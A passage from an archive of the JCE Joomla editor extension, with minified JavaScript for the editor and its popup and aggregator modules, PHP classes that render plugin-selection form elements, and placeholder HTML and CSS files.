node&&(node=[node]),inst.createNode(node,parent,sortNodes)}),$(this).on("tree:removenode",function(e,node){inst.removeNode(node)}),$(this).on("tree:renamenode",function(e,node,name){inst.renameNode(node,name)}),$(this).on("tree:togglenode",function(e,ev,node){inst.toggleNode(ev,node)}),$(this).on("tree:togglenodestate",function(e,node,state){inst.toggleNodeState(node,state)}),$(this).on("tree:toggleloader",function(e,node){inst.toggleLoader(node)}),$(this).on("tree:refreshnode",function(e,node){inst.refreshNode(node)}),$(this).on("tree:scroll",function(e,id){inst.scrollTo(id)}),$(this).on("tree:init",function(e){inst.nodeEvents()}),this}}(jQuery,Wf);var WFExtensions={types:{},add:function(n,o){return this[n]=o,this[n]},addType:function(n){this.types[n]={}},addExtension:function(type,n,o){"undefined"==typeof this.types[type]&&this.addType(type),this.types[type][n]=o},getType:function(type){return this.types[type]||!1},getExtension:function(type,ext){var s=this.getType(type);return s[ext]}},WFAggregator=WFExtensions.add("Aggregator",{aggregators:{},add:function(name,o){this.aggregators[name]=o||{}},get:function(name){return this.aggregators[name]||null},setup:function(options){var self=this;options=options||{},tinymce.each(this.aggregators,function(o,k){return self.setParams(o,options),self._call(o,"setup")})},getTitle:function(name){var f=this.get(name);return f?f.title:name},getType:function(name){var f=this.get(name);return f?f.getType():""},getValues:function(name,src){var f=this.get(name);if(f)return this._call(f,"getValues",src)},setValues:function(name,data){var f=this.get(name);if(f)return this._call(f,"setValues",data)},getAttributes:function(name,args){var f=this.get(name);if(f)return this._call(f,"getAttributes",args)},setAttributes:function(name,args,callback){var f=this.get(name);if(f){var data=this._call(f,"setAttributes",args);return"function"==typeof callback&&callback(data),data}},isSupported:function(args){var r,v,self=this;return tinymce.each(this.aggregators,function(o){(v=self._call(o,"isSupported",args))&&(r=v)}),r},getParam:function(name,param){var f=this.get(name);return f?f.params[param]||"":""},setParams:function(name,o){var f=this.get(name);f&&tinymce.extend(f.params,o)},onSelectFile:function(name){var f=this.get(name);if(f)return this._call(f,"onSelectFile")},onInsert:function(name){var self=this,f=this.get(name);if(f)return self._call(f,"onInsert")},_call:function(o,fn,vars){var f=o[fn]||function(){};return f.call(o,vars)}}),WFPopups=WFExtensions.add("Popups",{popups:{},popup:"",config:{},addPopup:function(n,o){this.popups[n]=o,WFExtensions.addExtension("popups",n,o)},getPopups:function(){return this.popups},setup:function(){function setText(state,v){state&&v?($("#popup_text").val(v),$("#popup_text").attr("disabled",!1)):($("#popup_text").val(tinyMCEPopup.getLang("dlg.element_selection","Element Selection")),$("#popup_text").attr("disabled",!0),$("#popup_text").addClass("disabled"))}var n,self=this,ed=tinyMCEPopup.editor,s=ed.selection;if($("#popup_list").change(function(){self.selectPopup(this.value)}).change(),!s.isCollapsed()){n=s.getNode();var v,state=!0;if(v=s.getContent({format:"text"}),n){var children=tinymce.grep(n.childNodes,function(node){return 0==ed.dom.is(node,"br[data-mce-bogus]")});state=1==children.length&&3==children[0].nodeType}setText(state,v)}$.each(this.popups,function(k,v){self._call("setup","",v)})},isPopup:function(n,v){return n&&"A"==n.nodeName&&this._call("check",n,v)},getPopup:function(n,index){var self=this,ed=tinyMCEPopup.editor;this.getPopups();return"A"!=n.nodeName&&(n=ed.dom.getParent(n,"a")),$.each(this.popups,function(k,v){self.isPopup(n,k)&&(self.popup=k)}),n&&this.popup?(this.selectPopup(this.popup),this.getAttributes(n,index)):""},setPopup:function(s){this.popup=s},setConfig:function(config){$.extend(this.config,config)},setParams:function(n,p){var popup=this.popups[n];popup&&("undefined"==typeof popup.params&&(popup.params={}),$.extend(popup.params,p))},getParams:function(n){return this.popups[n].params||{}},getParam:function(n,p){var params=this.getParams(n);return params[p]||null},selectPopup:function(v){var self=this;self.popup=v,$("#popup_list").val(v).children("option").each(function(){this.value&&$("#popup_extension_"+this.value).hide()}),v&&($("#popup_extension_"+v).show(),self._call("onSelect",[],v))},setAttributes:function(n,args,index){var ed=tinyMCEPopup.editor;return this.config.map&&$.each(this.config.map,function(to,from){var v=args[from]||$("#"+from).val();ed.dom.setAttrib(n,to,v),delete args[from]}),this._call("setAttributes",[n,args,index])},getAttributes:function(n,index){var data,ed=tinyMCEPopup.editor;return(n||"A"!=n.nodeName)&&(n=ed.dom.getParent(n,"a")),n&&this.isPopup(n)&&(data=this._call("getAttributes",[n,index])),data},isEnabled:function(){return this.popup},createPopup:function(n,args,index){var self=this,ed=tinyMCEPopup.editor;if(args=args||{},this.isEnabled())if(n&&("A"==n.nodeName||ed.dom.getParent(n,"A")))"A"!=n.nodeName&&(n=ed.dom.getParent(n,"A")),this.removePopups(n),this.setAttributes(n,args,index);else{var se=ed.selection;if(se.isCollapsed())ed.execCommand("mceInsertContent",!1,'<a href="#" id="__mce_tmp">'+$("#popup_text").val()+"</a>",{skip_undo:1});else{var n=n||se.getNode();ed.execCommand("mceInsertLink",!1,{href:"#",id:"__mce_tmp"},{skip_undo:1}),ed.dom.setAttrib(n,"style",ed.dom.getAttrib(n,"data-mce-style"))}n=ed.dom.get("__mce_tmp"),n&&(ed.dom.setAttrib(n,"id",null),self.setAttributes(n,args,index))}else n=ed.dom.getParent(n,"A"),$.each(this.popups,function(k,v){if(self.isPopup(n,k))return ed.dom.remove(n,!0),!1})},removePopups:function(n){var self=this;$.each(this.popups,function(k,v){self._call("remove",n,k)})},onSelectFile:function(args){this._call("onSelectFile",args)},_call:function(fn,args,popup){return popup||(popup=this.popup),"string"==typeof popup&&(popup=this.popups[popup]||{}),fn=popup[fn],"function"==typeof fn&&("array"===$.type(args)?fn.apply(popup,args):fn.call(popup,args))}});editor/libraries/js/editor.min.js000060400000034504150750527150013041 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
function IeCursorFix(){return!0}function jInsertEditorText(text,editor){try{WFEditor.insert(editor,text)}catch(e){}}!function(){function isHidden(el){return"string"==typeof el&&(el=document.getElementById(el)),el&&"none"===el.style.display}var each=tinymce.each,DOM=(tinymce.explode,tinymce.DOM),Event=tinymce.dom.Event,Dispatcher=tinymce.util.Dispatcher,WFEditor={_bookmark:{},getSite:function(base){var site,host,u=document.location.href;return base.indexOf("http")!==-1?(host=base.substr(base.indexOf("://")+3),site=host.substr(host.indexOf("/"))):site=u.substr(0,u.indexOf(base)+base.length),u.indexOf("/administrator/")!==-1&&(site+="administrator/"),site},init:function(settings){var base=settings.base_url,site=this.getSite(base);/https:\/\//.test(document.location.href)&&(base=base.replace(/http:/,"https:")),settings.token=settings.token||0,settings.context=settings.context||"",window.tinyMCEPreInit={},tinymce.extend(tinymce,{baseURL:base+"components/com_jce/editor/tiny_mce",suffix:"",query:settings.etag+"&"+settings.token+"=1&context="+settings.context});var indent="p,h1,h2,h3,h4,h5,h6,blockquote,div,title,style,pre,script,td,ul,li,area,table,thead,tfoot,tbody,tr,section,article,hgroup,aside,figure,object,video,audio";if(this.settings=tinymce.extend({document_base_url:base,site_url:site,mode:"textareas",schema:"mixed",relative_urls:!0,entity_encoding:"raw",editor_selector:"wf-editor",editor_deselector:"wf-no-editor",urlconverter_callback:"WFEditor.convertURL",popup_css:!1,add_form_submit_trigger:!1,submit_patch:!1,theme:"none",invalid_elements:"applet,iframe,object,embed,script,style,body,bgsound,base,basefont,frame,frameset,head,html,id,ilayer,layer,link,meta,name,title,xml",plugins:"",external_plugins:{},whitespace_elements:"pre,script,style,textarea,code",allow_conditional_comments:!0,fix_list_elements:!0,indent_before:indent,indent_after:indent,popup_css:!1,keep_styles:!1,update_styles:!0,compress:{css:!0,javascript:!0}},settings),this.settings)try{var s=this.settings;if(s.compress.css&&tinymce.extend(this.settings,{content_css:!1,editor_css:!1}),this._markLoaded(),s.skip_plugin_languages){var sl=tinymce.ScriptLoader,URI=tinyMCE.baseURI;each(s.skip_plugin_languages.split(","),function(n){n&&(sl.markDone(URI.toAbsolute("plugins/"+n+"/langs/"+s.language+".js")),sl.add(URI.toAbsolute("plugins/"+n+"/langs/en.js")))})}WFEditor.load()}catch(e){}},_markLoaded:function(){function load(u){tinymce.ScriptLoader.markDone(tinyMCE.baseURL+"/"+u)}var s=this.settings,each=tinymce.each,ln=s.language.split(","),suffix=s.suffix||"";1==s.compress.javascript&&(each(s.external_plugins,function(url,name){load(url)}),each(s.plugins.split(","),function(n){n&&(load("plugins/"+n+"/editor_plugin"+suffix+".js"),each(ln,function(c){c&&load("plugins/"+n+"/langs/"+c+".js")}))}))},setBookmark:function(ed){function isHidden(ed){return ed.isHidden()||"hidden"==DOM.getStyle(ed.id+"_ifr","visibility")}function isEditor(el){return DOM.getParent(el,"div.mceEditor, div.mceSplitButtonMenu, div.mceListBoxMenu, div.mceDropDown")}Event.add(document.body,"mousedown",function(e){var el=e.target;if(!isEditor(el)&&!isHidden(ed)&&ed.selection){var n=ed.selection.getNode();DOM.getParent(n,"body#tinymce")&&(ed.lastSelectionBookmark=ed.selection.getBookmark(1))}})},load:function(){function _load(){if(!loaded)return loaded=!0,self.preinit()}var loaded,self=this,s=this.settings;tinymce.settings=s,tinyMCE.onAddEditor.add(function(mgr,ed){var el=ed.getElement();"undefined"!=typeof Joomla&&Joomla.editors&&(Joomla.editors.instances[ed.id]={getValue:function(){return self.getContent(ed.id)},setValue:function(value){self.setContent(ed.id,value)},replaceSelection:function(value){self.insert(ed.id,value)},getSelection:function(){}}),s.compress.css&&ed.onPreInit.add(function(){ed.dom.loadCSS(s.site_url+"index.php?option=com_jce&view=editor&task=pack&type=css&layout=content&context="+s.context+"&"+s.token+"=1")}),"advanced"===s.theme&&(self._createToggle(el),self._createTabs(ed)),self.setBookmark(ed),ed.onInit.add(function(){ed.onSubmit.addToTop(function(){ed.initialized&&(ed.isNotDirty=1,self.getContent(ed.id))})}),ed.onBeforeRenderUI.add(function(){var n=ed.getElement().form;n&&!n._mceOldSubmit&&(n.submit.nodeType||n.submit.length||(ed.formElement=n,n._mceOldSubmit=n.submit,n.submit=function(){return tinymce.each(tinymce.editors,function(e){e.initialized&&(e.isNotDirty=1,self.getContent(e.id))}),ed.formElement._mceOldSubmit(ed.formElement)},n=null))});var elm=ed.getElement(),elmWidth=s.width||elm.style.width||"",elmHeight=s.height||elm.style.height||"";ed.onPostRender.add(function(){var e=DOM.get(ed.id+"_parent");elmHeight&&DOM.setStyle(elm,"height",elmHeight),elmWidth&&(DOM.setStyle(e.parentNode,"max-width",elmWidth),DOM.setStyle(elm,"max-width",elmWidth))}),ed.onWfEditorChange=new Dispatcher,ed.onWfEditorChange.add(function(ed,o){tinymce.is(o.content)&&(ed.setContent(o.content,o),ed.onChange.dispatch())})}),Event.add(window,"load",function(){_load(),window.jQuery&&(jQuery(document).on("subform-row-add",function(event,row){var elements=DOM.select(".wf-editor",row);each(elements,function(el){var ed=tinymce.EditorManager.get(el.id);ed||(self.createInstance(el),ed=new tinymce.Editor(el.id,s)),ed.render()})}),jQuery(document).on("subform-row-remove",function(event,row){var elements=DOM.select(".wf-editor",row);each(elements,function(el){var ed=tinymce.EditorManager.get(el.id);ed&&tinymce.EditorManager.remove(ed)})}))}),Event.add(document,"init",function(){window.setTimeout(function(){_load()},1e3)})},createInstance:function(el){var self=this,s=this.settings;if("string"==typeof el&&(el=DOM.get(el)),el){var header=DOM.getPrev(el,".wf-editor-header");s.width&&DOM.setStyle(el,"width",s.width),s.height&&DOM.setStyle(el,"height",s.height),self._createToggle(el);var state=tinymce.util.Cookie.get("wf-editor-state-"+el.id);null!==state&&"undefined"!=typeof state||(state=tinymce.is(s.toggle_state)?s.toggle_state:1),state=parseInt(state);var toggle=tinymce.is(s.toggle)?parseInt(s.toggle):1;!state&&toggle&&(DOM.removeClass(el,"wf-editor"),DOM.addClass(el,"wf-no-editor"),DOM.hide(DOM.select("ul.nav-tabs",header)),DOM.addClass(el.parentNode,"wf-editor-toggle-off"))}},create:function(elements){if("string"==typeof elements){var ed=tinymce.get(elements);ed&&tinymce.remove(ed),elements=[elements]}return this.preinit(elements)},preinit:function(elements){var self=this,s=this.settings;try{"advanced"===s.theme&&(elements=elements||DOM.select(".wf-editor"),each(elements,function(el){self.createInstance(el)})),tinymce.init(s)}catch(e){}},_toggleEditor:function(el){var ed=tinymce.get(el.id);if(ed)if(DOM.hasClass(el,"wf-no-editor")){DOM.addClass(el,"wf-editor"),DOM.removeClass(el,"wf-no-editor"),DOM.show(DOM.select("ul.nav-tabs",el.parentNode)),DOM.removeClass(el.parentNode,"wf-editor-toggle-off"),tinymce.util.Cookie.set("wf-editor-state-"+el.id,1);var activeTab=sessionStorage.getItem("wf-editor-tabs-"+ed.id)||ed.settings.active_tab||"wf-editor-wysiwyg";switch(DOM.hide(ed.getElement()),activeTab){case"wf-editor-wysiwyg":ed.show();break;case"wf-editor-source":ed.plugins.source.toggle();break;case"wf-editor-preview":ed.plugins.preview.toggle()}}else{DOM.addClass(el,"wf-no-editor"),DOM.hide(DOM.select("ul.nav-tabs",el.parentNode)),DOM.addClass(el.parentNode,"wf-editor-toggle-off");var height=sessionStorage.getItem("wf-editor-container-height");height&&!ed.getParam("fullscreen_enabled")&&DOM.setStyle(ed.getElement(),"height",height),tinymce.util.Cookie.set("wf-editor-state-"+el.id,0),ed.hide(),this.getContent(ed.id),ed.plugins.source&&ed.plugins.source.hide(),ed.plugins.preview&&ed.plugins.preview.hide(),DOM.show(ed.getElement())}else DOM.addClass(el.parentNode,"mce-loading"),DOM.removeClass(el,"wf-no-editor"),DOM.removeClass(el.parentNode,"wf-editor-toggle-off"),tinymce.util.Cookie.set("wf-editor-state-"+el.id,1),tinymce.execCommand("mceToggleEditor",!1,el.id),setTimeout(function(){DOM.removeClass(el.parentNode,"mce-loading")},1e3)},_getEditor:function(el){var ed,win=window;return!win.tinymce&&window.parent.tinymce&&(win=window.parent),el&&("string"==typeof el&&(el=document.getElementById(el)),el&&el.id&&(ed=win.tinymce.get(el.id))),ed||(ed=win.tinymce.activeEditor),ed&&!isHidden(ed.id+"_parent")?ed:!(!ed||!document.getElementById(ed.id+"_editor_source")||isHidden(ed.id+"_editor_source"))&&ed.plugins.source},_loadContent:function(ed){var el=ed.getElement();if(isHidden(ed.id+"_parent")&&ed.plugins.source){var code=ed.plugins.source.getContent();null!==code&&(/TEXTAREA|INPUT/i.test(el.nodeName)?el.value=code:el.innerHTML=code,ed.load())}},_createToggle:function(el){var self=this,s=this.settings,toggle=tinymce.is(s.toggle)?s.toggle:1;if(toggle){var btn,header=DOM.getPrev(el,".wf-editor-header");header||(header=this._createHeader(el)),0===DOM.select("a.wf-editor-toggle",header).length&&(btn=DOM.add(header,"a",{href:"#",class:"wf-editor-toggle"},s.toggle_label),Event.add(btn,"click",function(e){e.preventDefault(),self._toggleEditor(el)}))}},_toggleTab:function(ed,tab){function getInterfaceHeight(){var h=0,ca=ed.getContentAreaContainer(),p=ca.parentNode;return tinymce.each(p.childNodes,function(n){n!==ca&&(h+=n.offsetHeight)}),h}var self=this,el=(this.settings,ed.getElement());return DOM.addClass(el.parentNode,"mce-loading"),isHidden(ed.id+"_parent")||DOM.hasClass(el.parentNode,"mce-fullscreen")||(ed.settings.container_height=ed.getContainer().offsetHeight,sessionStorage.setItem("wf-editor-container-height",ed.settings.container_height),ed.settings.container_width=ed.getContainer().offsetWidth,sessionStorage.setItem("wf-editor-container-width",ed.settings.container_width),ed.settings.interface_height=getInterfaceHeight(),sessionStorage.setItem("wf-editor-interface-height",ed.settings.interface_height)),"wf-editor-source"===tab?(ed.hide(),DOM.hide(el),ed.plugins.preview&&ed.plugins.preview.hide(),ed.plugins.source.toggle()):"wf-editor-preview"===tab?(self._loadContent(ed),ed.hide(),DOM.hide(el),ed.plugins.source&&ed.plugins.source.hide(),ed.onToggleTab.dispatch(ed,tab),ed.plugins.preview.toggle()):(self._loadContent(ed),ed.plugins.source&&ed.plugins.source.hide(),ed.plugins.preview&&ed.plugins.preview.hide(),DOM.setStyle(ed.id+"_ifr","max-width",DOM.getStyle(el.parentNode,"max-width")),ed.show(),void DOM.removeClass(el.parentNode,"mce-loading"))},_textareaResize:function(el){var header=DOM.getPrev(el,".wf-editor-header"),container=header.parentNode;Event.add(el,"mousedown",function(e){var mm=Event.add(el,"mousemove",function(e){container.style.maxWidth=el.offsetWidth+"px"}),mu=Event.add(el,"mouseup",function(e){Event.remove(el,"mousemove",mm),Event.remove(el,"mouseup",mu),container.style.maxWidth=el.offsetWidth+"px"})})},_createHeader:function(element){var container=DOM.create("div",{class:"editor wf-editor-container"},'<div class="wf-editor-header"></div>');return element.parentNode.insertBefore(container,element),DOM.add(container,element),header=container.firstChild,header},_createTabs:function(ed){var self=this,s=this.settings,plugins=s.plugins.split(",");if(tinymce.inArray(plugins,"preview")<0&&tinymce.inArray(plugins,"source",plugins)<0)return!1;var header=DOM.getPrev(ed.getElement(),".wf-editor-header");if(header||(header=this._createHeader(ed.getElement())),!DOM.select("ul.wf-editor-tabs",header).length){ed.onToggleTab=new tinymce.util.Dispatcher(ed);var ul=DOM.add(header,"ul",{class:"wf-editor-tabs nav nav-tabs"}),activeTab=sessionStorage.getItem("wf-editor-tabs-"+ed.id)||ed.settings.active_tab||"wf-editor-wysiwyg";if(tinymce.inArray(plugins,"preview")!==-1){var previewTab=DOM.add(ul,"li",{},'<a href="#wf-editor-preview">'+ed.getLang("tab.preview","Preview")+"</a>");"wf-editor-preview"===activeTab&&DOM.addClass(previewTab,"active")}if(tinymce.inArray(plugins,"source")!==-1){var sourceTab=DOM.add(ul,"li",{},'<a href="#wf-editor-source">'+ed.getLang("tab.code","Code")+"</a>");"wf-editor-source"===activeTab&&DOM.addClass(sourceTab,"active")}var editorTab=DOM.add(ul,"li",{},'<a href="#wf-editor-wysiwyg">'+ed.getLang("tab.wysiwyg","Editor")+"</a>");"wf-editor-wysiwyg"===activeTab&&DOM.addClass(editorTab,"active"),Event.add(ul,"click",function(e){e.preventDefault();var n=e.target;if("A"===n.nodeName){var p=n.parentNode;if(!DOM.hasClass(p,"active")){DOM.removeClass(DOM.select("li",ul),"active"),DOM.addClass(p,"active");var action=n.href.substring(n.href.indexOf("#")+1);sessionStorage.setItem("wf-editor-tabs-"+ed.id,action),self._toggleTab(ed,action)}}})}},_wrapText:function(el,s){s?el.setAttribute("wrap","soft"):el.removeAttribute("wrap")},setContent:function(id,html){var ed=this._getEditor(id);ed?ed.setContent(html):document.getElementById(id).value=html},getContent:function(id){var ed=this._getEditor(id);return ed?ed.save():document.getElementById(id).value},getSelection:function(id){var ed=this._getEditor(id);if(ed)return ed.getSelection();var elm=document.getElementById(id);if(elm){var start=elm.selectionStart,end=elm.selectionEnd;if(elm.value())return elm.value().substring(start,end)}return""},insert:function(el,v){var ed=this._getEditor(el);return ed?!!ed&&(ed.execCommand?isHidden(ed.getElement())?(ed.lastSelectionBookmark&&ed.selection.moveToBookmark(ed.lastSelectionBookmark),ed.execCommand("mceInsertContent",!1,v),!0):(this.insertIntoTextarea(ed.getElement(),v),!0):(ed.insertContent(v),!0)):("string"==typeof el&&(el=document.getElementById(el)),el&&!isHidden(el)&&this.insertIntoTextarea(el,v),!0)},insertIntoTextarea:function(el,v){if(document.selection){el.focus();var s=document.selection.createRange();s.text=v}else if(el.selectionStart||"0"==el.selectionStart){var startPos=el.selectionStart,endPos=el.selectionEnd;el.value=el.value.substring(0,startPos)+v+el.value.substring(endPos,el.value.length)}else el.value+=v},convertURL:function(url,elm,save,name){var ed=tinymce.EditorManager.activeEditor,s=tinymce.settings,base=s.document_base_url;if(!url)return url;if(!s.convert_urls||elm&&"LINK"===elm.nodeName||0===url.indexOf("file:"))return url;if(url===base||url===base.substring(0,base.length-1)||"/"===url.charAt(0))return url;if(!s.mixed_urls){if(s.relative_urls)return 0===url.indexOf(base)?ed.documentBaseURI.toRelative(url):url;url=ed.documentBaseURI.toAbsolute(url,s.remove_script_host)}return s.protocol_relative&&(url=url.replace(/(http|https|ftp|ftps):\/\//,"//")),url},indent:function(h){return h=h.replace(/\n+/g,"\n"),tinymce.trim(h)}};window.WFEditor=WFEditor}();editor/index.html000060400000000054150750527150010031 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/elements/filesystem.php000060400000010756150750527150012557 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('JPATH_BASE') or die('RESTRICTED');

/**
 * Renders a select element.
 */
class WFElementFilesystem extends WFElement
{
    /*
     * Element type
     *
     * @access	protected
     * @var		string
     */
    public $_name = 'Filesystem';

    public function fetchElement($name, $value, &$node, $control_name)
    {
        jimport('joomla.filesystem.folder');
        jimport('joomla.filesystem.file');

        $parent = $this->getParent();

        $language = JFactory::getLanguage();

        // create a unique id
        $id = preg_replace('#([^a-z0-9_-]+)#i', '', $control_name.'filesystem'.$name);

        $attribs = array('class="parameter-nested-parent"');

        // path to directory
        $path = WF_EDITOR_EXTENSIONS.'/filesystem';
        $files = JFolder::files($path, '\.xml$', false, true);

        // get all installed plugins
        $installed = self::getInstalledPlugins();

        if (!empty($installed)) {
            foreach ($installed as $p) {
                $path = JPATH_PLUGINS.'/jce/'.$p->name;

              // Joomla 1.5!!
              if (!defined('JPATH_PLATFORM')) {
                  $path = JPATH_PLUGINS.'/jce';
              }

                $files[] = $path.'/'.$p->name.'.xml';
            }
        }

        $options = array();

        if ((bool) $node->attributes()->exclude_default === false) {
            $options[] = JHTML::_('select.option', '', WFText::_('WF_OPTION_NOT_SET'));
        }

        $params = array();

        foreach ($files as $file) {
            $filename = basename($file, '.xml');
            // get file name without extension type
            $parts = explode('-', $filename);
            $filename = array_pop($parts);

            // legacy
            $language->load('com_jce_filesystem_'.$filename, JPATH_SITE);
            // new
            $language->load('plg_jce_filesystem-'.$filename, JPATH_ADMINISTRATOR);

            $instance = new WFParameter($parent->getData(), $file);

            $params[$filename] = $instance;

            $xml = WFXMLHelper::parseInstallManifest($file);
            $options[] = JHTML::_('select.option', $filename, WFText::_($xml['name']));
        }

        // if a group is specified, setup to be an object
        if ((string) $node->attributes()->group) {
            $ctrl = $control_name.'[filesystem]['.$name.']';
        } else {
            $ctrl = $control_name.'[filesystem]';
        }

        $html = '';
        $html .= JHTML::_('select.genericlist', $options, $ctrl, implode(' ', $attribs), 'value', 'text', $value, $id);

        foreach ($params as $filesystem => $item) {
            $ctrl = $control_name.'[filesystem]['.$filesystem.']';

            $html .= '<div data-parameter-nested-item="'.$filesystem.'" class="well well-small">';
            $html .= $item->render($ctrl, $filesystem);
            $html .= '</div>';
        }

        return $html;
    }

    protected static function getInstalledPlugins()
    {
        $db = JFactory::getDBO();
        $user = JFactory::getUser();

        // Joomla! 2.5+
        if (defined('JPATH_PLATFORM')) {
            $levels = implode(',', $user->getAuthorisedViewLevels());

            $query = $db->getQuery(true)
            ->select('element AS name')
            ->from('#__extensions')
            ->where('enabled = 1')
            ->where('type = '.$db->quote('plugin'))
            ->where('folder = '.$db->quote('jce'))
            ->where('element LIKE '.$db->quote('filesystem-%'))
            ->where('state IN (0,1)')
            ->where('access IN ('.$levels.')')
            ->order('ordering');

            return $db->setQuery($query)->loadObjectList();
        } else {
            $aid = $user->get('aid', 0);

            $query = 'SELECT element AS name'
            .' FROM #__plugins'
            .' WHERE published >= 1'
            .' AND folder = '.$db->quote('jce')
            .' AND element LIKE '.$db->quote('filesystem-%')
            .' AND access <= '.(int) $aid
            .' ORDER BY ordering';

            $db->setQuery($query);

            return $db->loadObjectList();
        }
    }
}
editor/elements/popups.php000060400000007205150750527150011714 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('JPATH_BASE') or die('RESTRICTED');

/**
 * Renders a select element.
 */
class WFElementPopups extends WFElement
{
    /*
     * Element type
     *
     * @access	protected
     * @var		string
     */
    public $_name = 'Popups';

    public function fetchElement($name, $value, &$node, $control_name)
    {
        jimport('joomla.filesystem.folder');
        jimport('joomla.filesystem.file');

        $language = JFactory::getLanguage();

        // "Default" list
        if ($name == 'default') {
            // path to directory
            $path = WF_EDITOR_EXTENSIONS.'/popups';

            $filter = '\.xml$';
            $files = JFolder::files($path, '\.xml', false, true);

            $installed = self::getInstalledPlugins();

            if (!empty($installed)) {
                foreach ($installed as $p) {
                    $path = JPATH_PLUGINS.'/jce/'.$p->name;

                  // Joomla 1.5!!
                  if (!defined('JPATH_PLATFORM')) {
                      $path = JPATH_PLUGINS.'/jce';
                  }

                    $files[] = $path.'/'.$p->name.'.xml';
                }
            }

            $options = array();
            $options[] = JHTML::_('select.option', '', WFText::_('WF_OPTION_NOT_SET'));

            foreach ($files as $file) {
                $filename = basename($file, '.xml');
                // get file name without extension type
                $parts = explode('-', $filename);
                $filename = array_pop($parts);

                // legacy
                $language->load('com_jce_popups_'.$filename, JPATH_SITE);
                // new
                $language->load('plg_jce_popups_'.$filename, JPATH_SITE);

                $xml = WFXMLHelper::parseInstallManifest($file);
                $options[] = JHTML::_('select.option', $filename, WFText::_($xml['name']));
            }

            return JHTML::_('select.genericlist', $options, ''.$control_name.'['.$name.']', 'class="inputbox plugins-default-select"', 'value', 'text', $value);
        }
    }

    protected static function getInstalledPlugins()
    {
        $db = JFactory::getDBO();
        $user = JFactory::getUser();

        // Joomla! 2.5+
        if (defined('JPATH_PLATFORM')) {
            $levels = implode(',', $user->getAuthorisedViewLevels());

            $query = $db->getQuery(true)
            ->select('element AS name')
            ->from('#__extensions')
            ->where('enabled = 1')
            ->where('type = '.$db->quote('plugin'))
            ->where('folder = '.$db->quote('jce'))
            ->where('element LIKE '.$db->quote('popups-%'))
            ->where('state IN (0,1)')
            ->where('access IN ('.$levels.')')
            ->order('ordering');

            return $db->setQuery($query)->loadObjectList();
        } else {
            $aid = $user->get('aid', 0);
            $query = 'SELECT element AS name'
            .' FROM #__plugins'
            .' WHERE published >= 1'
            .' AND folder = '.$db->quote('jce')
            .' AND element LIKE '.$db->quote('popups-%')
            .' AND access <= '.(int) $aid
            .' ORDER BY ordering';

            $db->setQuery($query);

            return $db->loadObjectList();
        }
    }
}
editor/elements/linksearch.php000060400000004404150750527150012507 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('JPATH_BASE') or die('RESTRICTED');

/**
 * Renders a select element.
 */
class WFElementLinkSearch extends WFElement
{
    /*
     * Element type
     *
     * @access	protected
     * @var		string
     */
    public $_name = 'LinkSearch';

    public function fetchElement($name, $value, &$node, $control_name)
    {
        jimport('joomla.plugin.helper');
        wfimport('admin.helpers.extension');

        $language = JFactory::getLanguage();
        $plugins = JPluginHelper::getPlugin('search');

        // use tested defaults
        if (!$value) {
            $value = array('categories', 'contacts', 'content', 'newsfeeds', 'weblinks');
        } else {
            $value = (array) $value;
        }

        //$html  = '<span style="display:inline-block;"><input class="checkbox-list-toggle-all" type="checkbox"'. $checked .' /><label>'. WFText::_('WF_PROFILES_TOGGLE_ALL') . '</label>';
        $html = '<span style="display:inline-block;" data-parent="'.preg_replace(array('#^params#', '#([^\w]+)#'), '', $control_name).$node->attributes()->parent.'"><ul class="checkbox-list">';

        foreach ($plugins as $item) {
            $plugin = WFExtensionHelper::getPlugin(null, $item->name, 'search');

            $extension = 'plg_'.$plugin->folder.'_'.$plugin->element;

            $language->load($extension) || $language->load($extension, JPATH_ADMINISTRATOR);
            $language->load($extension.'.sys') || $language->load($extension.'.sys', JPATH_ADMINISTRATOR);

            $checked = (in_array($plugin->element, $value)) ? ' checked="checked"' : '';
            $html .= '<li><input type="checkbox" name="'.$control_name.'['.$name.'][]" value="'.$plugin->element.'"'.$checked.' /><label class="checkbox inline">'.JText::_($plugin->name).'</label></li>';
        }

        $html .= '</ul></span>';

        return $html;
    }
}
editor/elements/index.html000060400000000054150750527150011645 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/index.html000060400000000054150750527150012230 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/popups/widgetkit2/css/index.html000060400000000054150750527150016423 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/popups/widgetkit2/css/widgetkit.css000060400000000575150750527150017143 0ustar00/*JCE Editor - 2.5.16 | 08 April 2016 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/
#popup_extension_widgetkit input[type="text"]{width:250px;}#popup_extension_widgetkit #widgetkit_lightbox_title{width:350px;}#popup_extension_widgetkit select{width:auto;}editor/extensions/popups/widgetkit2/tmpl/index.html000060400000000054150750527150016607 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/popups/widgetkit2/tmpl/default.php000060400000004133150750527150016751 0ustar00<?php
/**
 * @package   	JCE
 * @copyright 	Copyright (c) 2009-2016 Ryan Demmer. All rights reserved.
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
